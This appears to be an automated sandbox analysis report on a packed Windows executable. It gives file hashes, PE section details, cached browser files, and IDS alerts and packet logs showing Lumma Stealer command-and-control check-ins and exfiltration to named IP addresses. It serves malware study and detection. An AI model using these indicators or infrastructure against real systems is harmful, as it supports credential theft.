SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947026335877486
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'865'216 bytes
MD5:	c6774985fc109440ce01c0bdf1978a96
SHA1:	6c3c8e16544c299ee31175d7796679da0bf33736
SHA256:	eaa41c656c107cadd3ecd84eb6f9338185db27b7ed156e8244446fa46b3b936b
SHA512:	9b3bb6f1de8a84cf3163faa52444c993c2ad46981b26e95e00a7d2e7eb3d676c8d8826419b6f1273fdaaa9db7daa0f520186599230b0dff949ad4385a3b5d316
SSDEEP:	24576:glRGi9tDVvJVftU4j6YF6co+oomzFgoZ8FSCiZlQUiB+XA1sZDz7yflQ1MLeyIuw:+PJrNF//o35PZ86yzXeOtMMmLxM
TLSH:	9A853304B77DB811CABC9930E829BE654AB9AB13725B9E7E6444CC30D5CF43458E3C7A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................I...........@...........................J...........@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x89e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9ACD0C2ADAh
andps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9ACD0C4AD5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], bl
add eax, A6971B00h
mov eax, dword ptr [015F3000h]
cmp eax, 3C7F8950h
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	1bfb1b57485a06bd793e99a6f0a373ce	False	0.9974087252475248	data	7.974777943413181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2a7000	0x200	d665218342ddd488f36ac50c34119b32	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
saixhvao	0x2ff000	0x19e000	0x19dc00	7ca2086a1014f623677d980185c786fc	False	0.9944940757175227	data	7.953655752107788	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cgvumvdv	0x49d000	0x1000	0x600	39c2e4a4d888c7f2db0053df399d8b28	False	0.578125	data	4.988358289102791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49e000	0x3000	0x2200	1025cba551c5769a7fa25a92b57dcc48	False	0.07157628676470588	DOS executable (COM)	0.8179998156148292	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T03:20:35.771074+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49707	188.114.96.3	443	TCP
2024-11-20T03:20:36.208496+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49707	188.114.96.3	443	TCP
2024-11-20T03:20:36.208496+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49707	188.114.96.3	443	TCP
2024-11-20T03:20:36.938315+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-20T03:20:37.531095+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-20T03:20:37.531095+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-20T03:20:38.357443+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	188.114.96.3	443	TCP
2024-11-20T03:20:39.971947+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49710	188.114.96.3	443	TCP
2024-11-20T03:20:41.480135+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49711	188.114.96.3	443	TCP
2024-11-20T03:20:43.376586+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49712	188.114.96.3	443	TCP
2024-11-20T03:20:43.801328+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49712	188.114.96.3	443	TCP
2024-11-20T03:20:44.766688+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	188.114.96.3	443	TCP
2024-11-20T03:20:44.771265+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49713	188.114.96.3	443	TCP
2024-11-20T03:20:48.162073+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49714	188.114.96.3	443	TCP
2024-11-20T03:20:48.598321+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49714	188.114.96.3	443	TCP
2024-11-20T03:20:49.351585+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49715	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 03:20:29.822047949 CET	49673	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:20:30.197211981 CET	49672	443	192.168.2.8	23.206.229.226
Nov 20, 2024 03:20:35.262615919 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:35.262656927 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:35.262732983 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:35.285106897 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:35.285151005 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:35.770912886 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:35.771074057 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:35.776046038 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:35.776067972 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:35.776463032 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:35.822019100 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:35.832343102 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:35.832554102 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:35.833524942 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.208494902 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.208597898 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.208775997 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.224910975 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.224910975 CET	49707	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.224926949 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.224936008 CET	443	49707	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.452986002 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.453025103 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.453098059 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.453363895 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.453382015 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.938252926 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.938314915 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.939821959 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.939832926 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.940105915 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:36.941561937 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.941587925 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:36.941636086 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531101942 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531156063 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531191111 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531210899 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.531229973 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531282902 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.531300068 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531361103 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531398058 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531419039 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.531425953 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531486988 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531497002 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.531505108 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.531554937 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.531583071 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.536010981 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.536640882 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.536648989 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.587573051 CET	49708	443	192.168.2.8	188.114.96.3
Nov 20, 2024 03:20:37.623169899 CET	443	49708	188.114.96.3	192.168.2.8
Nov 20, 2024 03:20:37.623260975 CET	443	49708	188.114.96.3	192.168.2.8
